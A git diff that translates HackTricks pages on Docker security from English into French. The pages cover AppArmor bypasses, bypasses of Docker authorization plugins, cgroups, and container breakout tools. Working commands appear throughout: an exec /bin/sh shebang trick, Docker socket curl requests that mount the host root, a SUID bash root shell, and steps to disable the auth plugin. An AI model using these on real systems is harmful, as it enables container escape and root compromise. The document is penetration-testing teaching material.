$ docker run --rm -it --security-opt apparmor:mydocker -v ~/haproxy:/localhost busybox chmod 400 /etc/hostname chmod: /etc/hostname: Permission denied ``` - ### AppArmor Docker Bypass1 -You can find which **apparmor profile is running a container** using: - +Vous pouvez trouver quel **profil apparmor exécute un conteneur** en utilisant : ```bash docker inspect 9d622d73a614 | grep lowpriv - "AppArmorProfile": "lowpriv", - "apparmor=lowpriv" +"AppArmorProfile": "lowpriv", +"apparmor=lowpriv" ``` - -Then, you can run the following line to **find the exact profile being used**: - +Ensuite, vous pouvez exécuter la ligne suivante pour **trouver le profil exact utilisé** : ```bash find /etc/apparmor.d/ -name "*lowpriv*" -maxdepth 1 2>/dev/null ``` +Dans le cas étrange où vous pouvez **modifier le profil docker apparmor et le recharger.** Vous pourriez supprimer les restrictions et les "contourner". -In the weird case you can **modify the apparmor docker profile and reload it.** You could remove the restrictions and "bypass" them. +### Contournement AppArmor Docker2 -### AppArmor Docker Bypass2 +**AppArmor est basé sur le chemin**, cela signifie que même s'il peut **protéger** des fichiers à l'intérieur d'un répertoire comme **`/proc`**, si vous pouvez **configurer comment le conteneur va être exécuté**, vous pourriez **monter** le répertoire proc de l'hôte à l'intérieur de **`/host/proc`** et il **ne sera plus protégé par AppArmor**. -**AppArmor is path based**, this means that even if it might be **protecting** files inside a directory like **`/proc`** if you can **configure how the container is going to be run**, you could **mount** the proc directory of the host inside **`/host/proc`** and it **won't be protected by AppArmor anymore**. - -### AppArmor Shebang Bypass - -In [**this bug**](https://bugs.launchpad.net/apparmor/+bug/1911431) you can see an example of how **even if you are preventing perl to be run with certain resources**, if you just create a a shell script **specifying** in the first line **`#!/usr/bin/perl`** and you **execute the file directly**, you will be able to execute whatever you want. E.g.: +### Contournement Shebang AppArmor +Dans [**ce bug**](https://bugs.launchpad.net/apparmor/+bug/1911431), vous pouvez voir un exemple de la façon dont **même si vous empêchez perl d'être exécuté avec certaines ressources**, si vous créez simplement un script shell **spécifiant** dans la première ligne **`#!/usr/bin/perl`** et que vous **exécutez le fichier directement**, vous pourrez exécuter ce que vous voulez. Par exemple : ```perl echo '#!/usr/bin/perl use POSIX qw(strftime); @@ -289,5 +250,4 @@ exec "/bin/sh"' > /tmp/test.pl chmod +x /tmp/test.pl /tmp/test.pl ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md b/src/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md index 3cef5bc8e..5bc63d224 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md +++ b/src/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md @@ -1,75 +1,70 @@ {{#include ../../../banners/hacktricks-training.md}} -**Docker’s** out-of-the-box **authorization** model is **all or nothing**. Any user with permission to access the Docker daemon can **run any** Docker client **command**. The same is true for callers using Docker’s Engine API to contact the daemon. If you require **greater access control**, you can create **authorization plugins** and add them to your Docker daemon configuration. Using an authorization plugin, a Docker administrator can **configure granular access** policies for managing access to the Docker daemon. +Le modèle **d'autorisation** de **Docker** est **tout ou rien**. Tout utilisateur ayant la permission d'accéder au démon Docker peut **exécuter n'importe quelle** commande du client Docker. Il en va de même pour les appelants utilisant l'API Engine de Docker pour contacter le démon. Si vous avez besoin d'un **contrôle d'accès** plus **granulaire**, vous pouvez créer des **plugins d'autorisation** et les ajouter à la configuration de votre démon Docker. En utilisant un plugin d'autorisation, un administrateur Docker peut **configurer des politiques d'accès** détaillées pour gérer l'accès au démon Docker. -# Basic architecture +# Architecture de base -Docker Auth plugins are **external** **plugins** you can use to **allow/deny** **actions** requested to the Docker Daemon **depending** on the **user** that requested it and the **action** **requested**. +Les plugins d'authentification Docker sont des **plugins externes** que vous pouvez utiliser pour **autoriser/refuser** les **actions** demandées au démon Docker **en fonction** de l'**utilisateur** qui les a demandées et de l'**action** **demandée**. -**[The following info is from the docs](https://docs.docker.com/engine/extend/plugins_authorization/#:~:text=If%20you%20require%20greater%20access,access%20to%20the%20Docker%20daemon)** +**[Les informations suivantes proviennent de la documentation](https://docs.docker.com/engine/extend/plugins_authorization/#:~:text=If%20you%20require%20greater%20access,access%20to%20the%20Docker%20daemon)** -When an **HTTP** **request** is made to the Docker **daemon** through the CLI or via the Engine API, the **authentication** **subsystem** **passes** the request to the installed **authentication** **plugin**(s). The request contains the user (caller) and command context. The **plugin** is responsible for deciding whether to **allow** or **deny** the request. +Lorsqu'une **demande HTTP** est faite au **démon** Docker via la CLI ou via l'API Engine, le **sous-système d'authentification** **transmet** la demande au(x) **plugin(s)** d'**authentification** installés. La demande contient l'utilisateur (appelant) et le contexte de la commande. Le **plugin** est responsable de décider s'il faut **autoriser** ou **refuser** la demande. -The sequence diagrams below depict an allow and deny authorization flow: +Les diagrammes de séquence ci-dessous illustrent un flux d'autorisation d'autorisation et de refus : -![Authorization Allow flow](https://docs.docker.com/engine/extend/images/authz_allow.png) +![Flux d'autorisation autorisé](https://docs.docker.com/engine/extend/images/authz_allow.png) -![Authorization Deny flow](https://docs.docker.com/engine/extend/images/authz_deny.png) +![Flux d'autorisation refusé](https://docs.docker.com/engine/extend/images/authz_deny.png) -Each request sent to the plugin **includes the authenticated user, the HTTP headers, and the request/response body**. Only the **user name** and the **authentication method** used are passed to the plugin. Most importantly, **no** user **credentials** or tokens are passed. Finally, **not all request/response bodies are sent** to the authorization plugin. Only those request/response bodies where the `Content-Type` is either `text/*` or `application/json` are sent. +Chaque demande envoyée au plugin **inclut l'utilisateur authentifié, les en-têtes HTTP et le corps de la demande/réponse**. Seuls le **nom d'utilisateur** et la **méthode d'authentification** utilisée sont transmis au plugin. Plus important encore, **aucune** **information d'identification** ou jetons d'utilisateur ne sont transmis. Enfin, **tous les corps de demande/réponse ne sont pas envoyés** au plugin d'autorisation. Seuls les corps de demande/réponse où le `Content-Type` est soit `text/*` soit `application/json` sont envoyés. -For commands that can potentially hijack the HTTP connection (`HTTP Upgrade`), such as `exec`, the authorization plugin is only called for the initial HTTP requests. Once the plugin approves the command, authorization is not applied to the rest of the flow. Specifically, the streaming data is not passed to the authorization plugins. For commands that return chunked HTTP response, such as `logs` and `events`, only the HTTP request is sent to the authorization plugins. +Pour les commandes qui peuvent potentiellement détourner la connexion HTTP (`HTTP Upgrade`), comme `exec`, le plugin d'autorisation n'est appelé que pour les demandes HTTP initiales. Une fois que le plugin approuve la commande, l'autorisation n'est pas appliquée au reste du flux. En particulier, les données de streaming ne sont pas transmises aux plugins d'autorisation. Pour les commandes qui renvoient une réponse HTTP en morceaux, comme `logs` et `events`, seule la demande HTTP est envoyée aux plugins d'autorisation. -During request/response processing, some authorization flows might need to do additional queries to the Docker daemon. To complete such flows, plugins can call the daemon API similar to a regular user. To enable these additional queries, the plugin must provide the means for an administrator to configure proper authentication and security policies. +Lors du traitement des demandes/réponses, certains flux d'autorisation peuvent nécessiter des requêtes supplémentaires au démon Docker. Pour compléter de tels flux, les plugins peuvent appeler l'API du démon comme un utilisateur ordinaire. Pour permettre ces requêtes supplémentaires, le plugin doit fournir les moyens à un administrateur de configurer des politiques d'authentification et de sécurité appropriées. -## Several Plugins +## Plusieurs Plugins -You are responsible for **registering** your **plugin** as part of the Docker daemon **startup**. You can install **multiple plugins and chain them together**. This chain can be ordered. Each request to the daemon passes in order through the chain. Only when **all the plugins grant access** to the resource, is the access granted. +Vous êtes responsable de **l'enregistrement** de votre **plugin** dans le cadre du **démarrage** du démon Docker. Vous pouvez installer **plusieurs plugins et les enchaîner**. Cette chaîne peut être ordonnée. Chaque demande au démon passe dans l'ordre à travers la chaîne. Ce n'est que lorsque **tous les plugins accordent l'accès** à la ressource que l'accès est accordé. -# Plugin Examples +# Exemples de Plugins ## Twistlock AuthZ Broker -The plugin [**authz**](https://github.com/twistlock/authz) allows you to create a simple **JSON** file that the **plugin** will be **reading** to authorize the requests. Therefore, it gives you the opportunity to control very easily which API endpoints can reach each user. +Le plugin [**authz**](https://github.com/twistlock/authz) vous permet de créer un simple fichier **JSON** que le **plugin** lira pour autoriser les demandes. Par conséquent, il vous donne l'opportunité de contrôler très facilement quels points de terminaison API peuvent atteindre chaque utilisateur. -This is an example that will allow Alice and Bob can create new containers: `{"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}` +Voici un exemple qui permettra à Alice et Bob de créer de nouveaux conteneurs : `{"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}` -In the page [route_parser.go](https://github.com/twistlock/authz/blob/master/core/route_parser.go) you can find the relation between the requested URL and the action. In the page [types.go](https://github.com/twistlock/authz/blob/master/core/types.go) you can find the relation between the action name and the action +Dans la page [route_parser.go](https://github.com/twistlock/authz/blob/master/core/route_parser.go), vous pouvez trouver la relation entre l'URL demandée et l'action. Dans la page [types.go](https://github.com/twistlock/authz/blob/master/core/types.go), vous pouvez trouver la relation entre le nom de l'action et l'action. -## Simple Plugin Tutorial +## Tutoriel de Plugin Simple -You can find an **easy to understand plugin** with detailed information about installation and debugging here: [**https://github.com/carlospolop-forks/authobot**](https://github.com/carlospolop-forks/authobot) +Vous pouvez trouver un **plugin facile à comprendre** avec des informations détaillées sur l'installation et le débogage ici : [**https://github.com/carlospolop-forks/authobot**](https://github.com/carlospolop-forks/authobot) -Read the `README` and the `plugin.go` code to understand how is it working. +Lisez le `README` et le code `plugin.go` pour comprendre comment cela fonctionne. -# Docker Auth Plugin Bypass +# Contournement du Plugin d'Auth Docker -## Enumerate access +## Énumérer l'accès -The main things to check are the **which endpoints are allowed** and **which values of HostConfig are allowed**. +Les principales choses à vérifier sont **quels points de terminaison sont autorisés** et **quelles valeurs de HostConfig sont autorisées**. -To perform this enumeration you can **use the tool** [**https://github.com/carlospolop/docker_auth_profiler**](https://github.com/carlospolop/docker_auth_profiler)**.** +Pour effectuer cette énumération, vous pouvez **utiliser l'outil** [**https://github.com/carlospolop/docker_auth_profiler**](https://github.com/carlospolop/docker_auth_profiler)**.** -## disallowed `run --privileged` - -### Minimum Privileges +## `run --privileged` non autorisé +### Privilèges minimaux ```bash docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash ``` +### Exécution d'un conteneur puis obtention d'une session privilégiée -### Running a container and then getting a privileged session - -In this case the sysadmin **disallowed users to mount volumes and run containers with the `--privileged` flag** or give any extra capability to the container: - +Dans ce cas, l'administrateur système **a interdit aux utilisateurs de monter des volumes et d'exécuter des conteneurs avec le drapeau `--privileged`** ou de donner des capacités supplémentaires au conteneur : ```bash docker run -d --privileged modified-ubuntu docker: Error response from daemon: authorization denied by plugin customauth: [DOCKER FIREWALL] Specified Privileged option value is Disallowed. See 'docker run --help'. ``` - -However, a user can **create a shell inside the running container and give it the extra privileges**: - +Cependant, un utilisateur peut **créer un shell à l'intérieur du conteneur en cours d'exécution et lui donner des privilèges supplémentaires** : ```bash docker run -d --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu #bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de @@ -81,42 +76,38 @@ docker exec -it ---cap-add=ALL bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be # With --cap-add=SYS_ADMIN docker exec -it ---cap-add=SYS_ADMIN bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4 bash ``` +Maintenant, l'utilisateur peut s'échapper du conteneur en utilisant l'une des [**techniques précédemment discutées**](./#privileged-flag) et **escalader les privilèges** à l'intérieur de l'hôte. -Now, the user can escape from the container using any of the [**previously discussed techniques**](./#privileged-flag) and **escalate privileges** inside the host. - -## Mount Writable Folder - -In this case the sysadmin **disallowed users to run containers with the `--privileged` flag** or give any extra capability to the container, and he only allowed to mount the `/tmp` folder: +## Monter un Dossier Écrivable +Dans ce cas, l'administrateur système **a interdit aux utilisateurs d'exécuter des conteneurs avec le drapeau `--privileged`** ou de donner une capacité supplémentaire au conteneur, et il a seulement autorisé à monter le dossier `/tmp` : ```bash host> cp /bin/bash /tmp #Cerate a copy of bash host> docker run -it -v /tmp:/host ubuntu:18.04 bash #Mount the /tmp folder of the host and get a shell docker container> chown root:root /host/bash docker container> chmod u+s /host/bash host> /tmp/bash - -p #This will give you a shell as root +-p #This will give you a shell as root ``` - > [!NOTE] -> Note that maybe you cannot mount the folder `/tmp` but you can mount a **different writable folder**. You can find writable directories using: `find / -writable -type d 2>/dev/null` +> Notez que vous ne pouvez peut-être pas monter le dossier `/tmp`, mais vous pouvez monter un **dossier écrivable différent**. Vous pouvez trouver des répertoires écrivables en utilisant : `find / -writable -type d 2>/dev/null` > -> **Note that not all the directories in a linux machine will support the suid bit!** In order to check which directories support the suid bit run `mount | grep -v "nosuid"` For example usually `/dev/shm` , `/run` , `/proc` , `/sys/fs/cgroup` and `/var/lib/lxcfs` don't support the suid bit. +> **Notez que tous les répertoires d'une machine linux ne prendront pas en charge le bit suid !** Pour vérifier quels répertoires prennent en charge le bit suid, exécutez `mount | grep -v "nosuid"` Par exemple, généralement `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` et `/var/lib/lxcfs` ne prennent pas en charge le bit suid. > -> Note also that if you can **mount `/etc`** or any other folder **containing configuration files**, you may change them from the docker container as root in order to **abuse them in the host** and escalate privileges (maybe modifying `/etc/shadow`) +> Notez également que si vous pouvez **monter `/etc`** ou tout autre dossier **contenant des fichiers de configuration**, vous pouvez les modifier depuis le conteneur docker en tant que root afin de **les exploiter sur l'hôte** et d'escalader les privilèges (peut-être en modifiant `/etc/shadow`) -## Unchecked API Endpoint +## Point de terminaison API non vérifié -The responsibility of the sysadmin configuring this plugin would be to control which actions and with which privileges each user can perform. Therefore, if the admin takes a **blacklist** approach with the endpoints and the attributes he might **forget some of them** that could allow an attacker to **escalate privileges.** +La responsabilité de l'administrateur système configurant ce plugin serait de contrôler quelles actions et avec quels privilèges chaque utilisateur peut effectuer. Par conséquent, si l'administrateur adopte une approche de **liste noire** avec les points de terminaison et les attributs, il pourrait **oublier certains d'entre eux** qui pourraient permettre à un attaquant d'**escalader les privilèges.** -You can check the docker API in [https://docs.docker.com/engine/api/v1.40/#](https://docs.docker.com/engine/api/v1.40/#) +Vous pouvez consulter l'API docker à [https://docs.docker.com/engine/api/v1.40/#](https://docs.docker.com/engine/api/v1.40/#) -## Unchecked JSON Structure +## Structure JSON non vérifiée -### Binds in root - -It's possible that when the sysadmin configured the docker firewall he **forgot about some important parameter** of the [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) like "**Binds**".\ -In the following example it's possible to abuse this misconfiguration to create and run a container that mounts the root (/) folder of the host: +### Binds en root +Il est possible que lorsque l'administrateur système a configuré le pare-feu docker, il **ait oublié certains paramètres importants** de l'[**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) comme "**Binds**".\ +Dans l'exemple suivant, il est possible d'exploiter cette mauvaise configuration pour créer et exécuter un conteneur qui monte le dossier racine (/) de l'hôte : ```bash docker version #First, find the API version of docker, 1.40 in this example docker images #List the images available @@ -126,38 +117,30 @@ docker start f6932bc153ad #Start the created privileged container docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it #You can access the host filesystem ``` - > [!WARNING] -> Note how in this example we are using the **`Binds`** param as a root level key in the JSON but in the API it appears under the key **`HostConfig`** +> Notez comment dans cet exemple nous utilisons le **`Binds`** paramètre comme une clé de niveau racine dans le JSON mais dans l'API, il apparaît sous la clé **`HostConfig`** -### Binds in HostConfig - -Follow the same instruction as with **Binds in root** performing this **request** to the Docker API: +### Binds dans HostConfig +Suivez la même instruction qu'avec **Binds dans la racine** en effectuant cette **demande** à l'API Docker : ```bash curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Binds":["/:/host"]}}' http:/v1.40/containers/create ``` +### Montages dans la racine -### Mounts in root - -Follow the same instruction as with **Binds in root** performing this **request** to the Docker API: - +Suivez les mêmes instructions que pour **Binds dans la racine** en effectuant cette **demande** à l'API Docker : ```bash curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}' http:/v1.40/containers/create ``` +### Mounts dans HostConfig -### Mounts in HostConfig - -Follow the same instruction as with **Binds in root** performing this **request** to the Docker API: - +Suivez les mêmes instructions qu'avec **Binds dans root** en effectuant cette **demande** à l'API Docker : ```bash curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "HostConfig":{"Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}}' http:/v1.40/containers/cre ``` +## Attribut JSON non vérifié -## Unchecked JSON Attribute - -It's possible that when the sysadmin configured the docker firewall he **forgot about some important attribute of a parameter** of the [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) like "**Capabilities**" inside "**HostConfig**". In the following example it's possible to abuse this misconfiguration to create and run a container with the **SYS_MODULE** capability: - +Il est possible que lorsque l'administrateur système a configuré le pare-feu docker, il **ait oublié un attribut important d'un paramètre** de l'[**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) comme "**Capabilities**" à l'intérieur de "**HostConfig**". Dans l'exemple suivant, il est possible d'abuser de cette mauvaise configuration pour créer et exécuter un conteneur avec la capacité **SYS_MODULE** : ```bash docker version curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Capabilities":["CAP_SYS_MODULE"]}}' http:/v1.40/containers/create @@ -167,14 +150,12 @@ docker exec -it c52a77629a91 bash capsh --print #You can abuse the SYS_MODULE capability ``` - > [!NOTE] -> The **`HostConfig`** is the key that usually contains the **interesting** **privileges** to escape from the container. However, as we have discussed previously, note how using Binds outside of it also works and may allow you to bypass restrictions. +> Le **`HostConfig`** est la clé qui contient généralement les **privileges** **intéressants** pour s'échapper du conteneur. Cependant, comme nous l'avons discuté précédemment, notez que l'utilisation de Binds en dehors de celui-ci fonctionne également et peut vous permettre de contourner les restrictions. -## Disabling Plugin - -If the **sysadmin** **forgotten** to **forbid** the ability to **disable** the **plugin**, you can take advantage of this to completely disable it! +## Désactivation du Plugin +Si le **sysadmin** a **oublié** de **interdire** la possibilité de **désactiver** le **plugin**, vous pouvez en profiter pour le désactiver complètement ! ```bash docker plugin list #Enumerate plugins @@ -186,10 +167,9 @@ docker plugin disable authobot docker run --rm -it --privileged -v /:/host ubuntu bash docker plugin enable authobot ``` +N'oubliez pas de **réactiver le plugin après l'escalade**, sinon un **redémarrage du service docker ne fonctionnera pas** ! -Remember to **re-enable the plugin after escalating**, or a **restart of docker service won’t work**! - -## Auth Plugin Bypass writeups +## Rapports de contournement du plugin d'authentification - [https://staaldraad.github.io/post/2019-07-11-bypass-docker-plugin-with-containerd/](https://staaldraad.github.io/post/2019-07-11-bypass-docker-plugin-with-containerd/) diff --git a/src/linux-hardening/privilege-escalation/docker-security/cgroups.md b/src/linux-hardening/privilege-escalation/docker-security/cgroups.md index 82614f093..6e03da8e2 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/cgroups.md +++ b/src/linux-hardening/privilege-escalation/docker-security/cgroups.md @@ -2,18 +2,17 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Informations de base -**Linux Control Groups**, or **cgroups**, are a feature of the Linux kernel that allows the allocation, limitation, and prioritization of system resources like CPU, memory, and disk I/O among process groups. They offer a mechanism for **managing and isolating the resource usage** of process collections, beneficial for purposes such as resource limitation, workload isolation, and resource prioritization among different process groups. +**Linux Control Groups**, ou **cgroups**, sont une fonctionnalité du noyau Linux qui permet l'allocation, la limitation et la priorisation des ressources système comme le CPU, la mémoire et le disque I/O parmi des groupes de processus. Ils offrent un mécanisme pour **gérer et isoler l'utilisation des ressources** des collections de processus, bénéfique pour des objectifs tels que la limitation des ressources, l'isolement des charges de travail et la priorisation des ressources parmi différents groupes de processus. -There are **two versions of cgroups**: version 1 and version 2. Both can be used concurrently on a system. The primary distinction is that **cgroups version 2** introduces a **hierarchical, tree-like structure**, enabling more nuanced and detailed resource distribution among process groups. Additionally, version 2 brings various enhancements, including: +Il existe **deux versions de cgroups** : la version 1 et la version 2. Les deux peuvent être utilisées simultanément sur un système. La principale distinction est que **la version 2 des cgroups** introduit une **structure hiérarchique en arbre**, permettant une distribution des ressources plus nuancée et détaillée parmi les groupes de processus. De plus, la version 2 apporte diverses améliorations, y compris : -In addition to the new hierarchical organization, cgroups version 2 also introduced **several other changes and improvements**, such as support for **new resource controllers**, better support for legacy applications, and improved performance. +En plus de la nouvelle organisation hiérarchique, la version 2 des cgroups a également introduit **plusieurs autres changements et améliorations**, tels que le support de **nouveaux contrôleurs de ressources**, un meilleur support pour les applications héritées et des performances améliorées. -Overall, cgroups **version 2 offers more features and better performance** than version 1, but the latter may still be used in certain scenarios where compatibility with older systems is a concern. - -You can list the v1 and v2 cgroups for any process by looking at its cgroup file in /proc/\. You can start by looking at your shell’s cgroups with this command: +Dans l'ensemble, les cgroups **version 2 offrent plus de fonctionnalités et de meilleures performances** que la version 1, mais cette dernière peut encore être utilisée dans certains scénarios où la compatibilité avec les anciens systèmes est une préoccupation. +Vous pouvez lister les cgroups v1 et v2 pour n'importe quel processus en consultant son fichier cgroup dans /proc/\. Vous pouvez commencer par examiner les cgroups de votre shell avec cette commande : ```shell-session $ cat /proc/self/cgroup 12:rdma:/ @@ -28,63 +27,56 @@ $ cat /proc/self/cgroup 1:name=systemd:/user.slice/user-1000.slice/session-2.scope 0::/user.slice/user-1000.slice/session-2.scope ``` +La structure de sortie est la suivante : -The output structure is as follows: +- **Numéros 2–12** : cgroups v1, chaque ligne représentant un cgroup différent. Les contrôleurs pour ceux-ci sont spécifiés à côté du numéro. +- **Numéro 1** : Également cgroups v1, mais uniquement à des fins de gestion (défini par, par exemple, systemd), et n'a pas de contrôleur. +- **Numéro 0** : Représente cgroups v2. Aucun contrôleur n'est listé, et cette ligne est exclusive aux systèmes exécutant uniquement cgroups v2. +- Les **noms sont hiérarchiques**, ressemblant à des chemins de fichiers, indiquant la structure et la relation entre différents cgroups. +- **Des noms comme /user.slice ou /system.slice** spécifient la catégorisation des cgroups, avec user.slice généralement pour les sessions de connexion gérées par systemd et system.slice pour les services système. -- **Numbers 2–12**: cgroups v1, with each line representing a different cgroup. Controllers for these are specified adjacent to the number. -- **Number 1**: Also cgroups v1, but solely for management purposes (set by, e.g., systemd), and lacks a controller. -- **Number 0**: Represents cgroups v2. No controllers are listed, and this line is exclusive on systems only running cgroups v2. -- The **names are hierarchical**, resembling file paths, indicating the structure and relationship between different cgroups. -- **Names like /user.slice or /system.slice** specify the categorization of cgroups, with user.slice typically for login sessions managed by systemd and system.slice for system services. +### Visualiser les cgroups -### Viewing cgroups - -The filesystem is typically utilized for accessing **cgroups**, diverging from the Unix system call interface traditionally used for kernel interactions. To investigate a shell's cgroup configuration, one should examine the **/proc/self/cgroup** file, which reveals the shell's cgroup. Then, by navigating to the **/sys/fs/cgroup** (or **`/sys/fs/cgroup/unified`**) directory and locating a directory that shares the cgroup's name, one can observe various settings and resource usage information pertinent to the cgroup. +Le système de fichiers est généralement utilisé pour accéder aux **cgroups**, divergeant de l'interface d'appel système Unix traditionnellement utilisée pour les interactions avec le noyau. Pour enquêter sur la configuration du cgroup d'un shell, il convient d'examiner le fichier **/proc/self/cgroup**, qui révèle le cgroup du shell. Ensuite, en naviguant vers le répertoire **/sys/fs/cgroup** (ou **`/sys/fs/cgroup/unified`**) et en localisant un répertoire partageant le nom du cgroup, on peut observer divers paramètres et informations sur l'utilisation des ressources pertinentes au cgroup. ![Cgroup Filesystem](<../../../images/image (1128).png>) -The key interface files for cgroups are prefixed with **cgroup**. The **cgroup.procs** file, which can be viewed with standard commands like cat, lists the processes within the cgroup. Another file, **cgroup.threads**, includes thread information. +Les fichiers d'interface clés pour les cgroups sont préfixés par **cgroup**. Le fichier **cgroup.procs**, qui peut être consulté avec des commandes standard comme cat, liste les processus au sein du cgroup. Un autre fichier, **cgroup.threads**, inclut des informations sur les threads. ![Cgroup Procs](<../../../images/image (281).png>) -Cgroups managing shells typically encompass two controllers that regulate memory usage and process count. To interact with a controller, files bearing the controller's prefix should be consulted. For instance, **pids.current** would be referenced to ascertain the count of threads in the cgroup. +Les cgroups gérant les shells englobent généralement deux contrôleurs qui régulent l'utilisation de la mémoire et le nombre de processus. Pour interagir avec un contrôleur, les fichiers portant le préfixe du contrôleur doivent être consultés. Par exemple, **pids.current** serait référencé pour déterminer le nombre de threads dans le cgroup. ![Cgroup Memory](<../../../images/image (677).png>) -The indication of **max** in a value suggests the absence of a specific limit for the cgroup. However, due to the hierarchical nature of cgroups, limits might be imposed by a cgroup at a lower level in the directory hierarchy. +L'indication de **max** dans une valeur suggère l'absence de limite spécifique pour le cgroup. Cependant, en raison de la nature hiérarchique des cgroups, des limites peuvent être imposées par un cgroup à un niveau inférieur dans la hiérarchie des répertoires. -### Manipulating and Creating cgroups - -Processes are assigned to cgroups by **writing their Process ID (PID) to the `cgroup.procs` file**. This requires root privileges. For instance, to add a process: +### Manipuler et créer des cgroups +Les processus sont assignés aux cgroups en **écrivant leur identifiant de processus (PID) dans le fichier `cgroup.procs`**. Cela nécessite des privilèges root. Par exemple, pour ajouter un processus : ```bash echo [pid] > cgroup.procs ``` - -Similarly, **modifying cgroup attributes, like setting a PID limit**, is done by writing the desired value to the relevant file. To set a maximum of 3,000 PIDs for a cgroup: - +De même, **modifier les attributs cgroup, comme définir une limite de PID**, se fait en écrivant la valeur souhaitée dans le fichier correspondant. Pour définir un maximum de 3 000 PIDs pour un cgroup : ```bash echo 3000 > pids.max ``` +**Créer de nouveaux cgroups** implique de créer un nouveau sous-répertoire dans la hiérarchie des cgroups, ce qui incite le noyau à générer automatiquement les fichiers d'interface nécessaires. Bien que les cgroups sans processus actifs puissent être supprimés avec `rmdir`, soyez conscient de certaines contraintes : -**Creating new cgroups** involves making a new subdirectory within the cgroup hierarchy, which prompts the kernel to automatically generate necessary interface files. Though cgroups without active processes can be removed with `rmdir`, be aware of certain constraints: - -- **Processes can only be placed in leaf cgroups** (i.e., the most nested ones in a hierarchy). -- **A cgroup cannot possess a controller absent in its parent**. -- **Controllers for child cgroups must be explicitly declared** in the `cgroup.subtree_control` file. For example, to enable CPU and PID controllers in a child cgroup: - +- **Les processus ne peuvent être placés que dans des cgroups feuilles** (c'est-à-dire, les plus imbriqués dans une hiérarchie). +- **Un cgroup ne peut posséder un contrôleur absent dans son parent**. +- **Les contrôleurs pour les cgroups enfants doivent être explicitement déclarés** dans le fichier `cgroup.subtree_control`. Par exemple, pour activer les contrôleurs CPU et PID dans un cgroup enfant : ```bash echo "+cpu +pids" > cgroup.subtree_control ``` +Le **root cgroup** est une exception à ces règles, permettant un placement direct des processus. Cela peut être utilisé pour retirer des processus de la gestion de systemd. -The **root cgroup** is an exception to these rules, allowing direct process placement. This can be used to remove processes from systemd management. +**La surveillance de l'utilisation du CPU** au sein d'un cgroup est possible via le fichier `cpu.stat`, affichant le temps total de CPU consommé, utile pour suivre l'utilisation à travers les sous-processus d'un service : -**Monitoring CPU usage** within a cgroup is possible through the `cpu.stat` file, displaying total CPU time consumed, helpful for tracking usage across a service's subprocesses: +

Statistiques d'utilisation du CPU telles qu'affichées dans le fichier cpu.stat

-

CPU usage statistics as shown in the cpu.stat file

+## Références -## References - -- **Book: How Linux Works, 3rd Edition: What Every Superuser Should Know By Brian Ward** +- **Livre : Comment fonctionne Linux, 3ème édition : Ce que chaque superutilisateur devrait savoir par Brian Ward** {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md index e19fddb22..ecd4fd6a5 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md @@ -2,35 +2,24 @@ {{#include ../../../../banners/hacktricks-training.md}} -
+## Énumération automatique & Évasion -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +- [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): Il peut également **énumérer les conteneurs** +- [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): Cet outil est assez **utile pour énumérer le conteneur dans lequel vous êtes et même essayer de s'échapper automatiquement** +- [**amicontained**](https://github.com/genuinetools/amicontained): Outil utile pour obtenir les privilèges que le conteneur a afin de trouver des moyens de s'en échapper +- [**deepce**](https://github.com/stealthcopter/deepce): Outil pour énumérer et s'échapper des conteneurs +- [**grype**](https://github.com/anchore/grype): Obtenez les CVE contenues dans le logiciel installé dans l'image -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %} - -## Automatic Enumeration & Escape - -- [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): It can also **enumerate containers** -- [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): This tool is pretty **useful to enumerate the container you are into even try to escape automatically** -- [**amicontained**](https://github.com/genuinetools/amicontained): Useful tool to get the privileges the container has in order to find ways to escape from it -- 